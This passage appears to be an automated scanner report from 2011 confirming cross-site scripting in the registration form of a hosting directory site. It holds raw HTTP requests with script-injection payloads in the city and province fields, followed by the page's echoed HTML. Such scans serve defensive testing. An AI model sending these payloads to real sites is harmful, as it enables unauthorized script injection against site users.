promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 544
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001D89)%3c%2fscript%3e&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:17:22 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='76E0188F5F077DBD79CEE1344E81E014C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='76E0188F5F077DBD3829B56C84DB446F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='76E0188F5F077DBD88B48DAB7F673DA3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='76E0188F5F077DBD1DED4319D52C43E1C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='76E0188F5F077DBD3AEB7737981E079E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='76E0188F5F077DBD70EA0A8698940768C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='76E0188F5F077DBDC5174EE31CCB164FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='76E0188F5F077DBD6433DE7B6A438CC06F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='76E0188F5F077DBD4074D4240F273FFAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='76E0188F5F077DBD359D60F4959EF4EA6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='76E0188F5F077DBDBF1CA61C835D753DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='76E0188F5F077DBDA3FD3054E6499774C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='76E0188F5F077DBDDF40A8443749054FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='76E0188F5F077DBD9525D662F64EC9CBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='76E0188F5F077DBD331E720CDFEB85D8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='76E0188F5F077DBDB19226DB6ADDE145C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='76E0188F5F077DBDD3D3DF567C5CFF016F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='76E0188F5F077DBD38B2D705D5B70C6D6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='76E0188F5F077DBDB0C2EC9A094642A46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST '"--></style></script><script>alert(0x001D99)</script>
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 544
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001D99)%3c%2fscript%3e&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:17:34 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='76E0188F5F077DBDC828DAFC30B9214CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='76E0188F5F077DBD893D2602043E77EB6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='76E0188F5F077DBD2301E7356D98DFD8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='76E0188F5F077DBD6C1C6ABAD5F051C8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='76E0188F5F077DBD4186DDFB1423362B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='76E0188F5F077DBDAEB4F07CDF9BD024C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='76E0188F5F077DBDF1BE2961E591B425C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='76E0188F5F077DBDF1FFD5FADC13FC7B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='76E0188F5F077DBDA61EFF2581A704C4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='76E0188F5F077DBD4A03FE441BE2E9776F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='76E0188F5F077DBD20425A84DF8EA690C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='76E0188F5F077DBD62F927366357C81CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='76E0188F5F077DBD34C137D681231501C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='76E0188F5F077DBD980720B433639A27C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='76E0188F5F077DBD8C9E097E038D4C78C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='76E0188F5F077DBD2C8086229F9FE9AAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='76E0188F5F077DBDD290CDE2E40401916F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='76E0188F5F077DBD41AF04B5A13F24666F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='76E0188F5F077DBDADFB2896191064DD6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
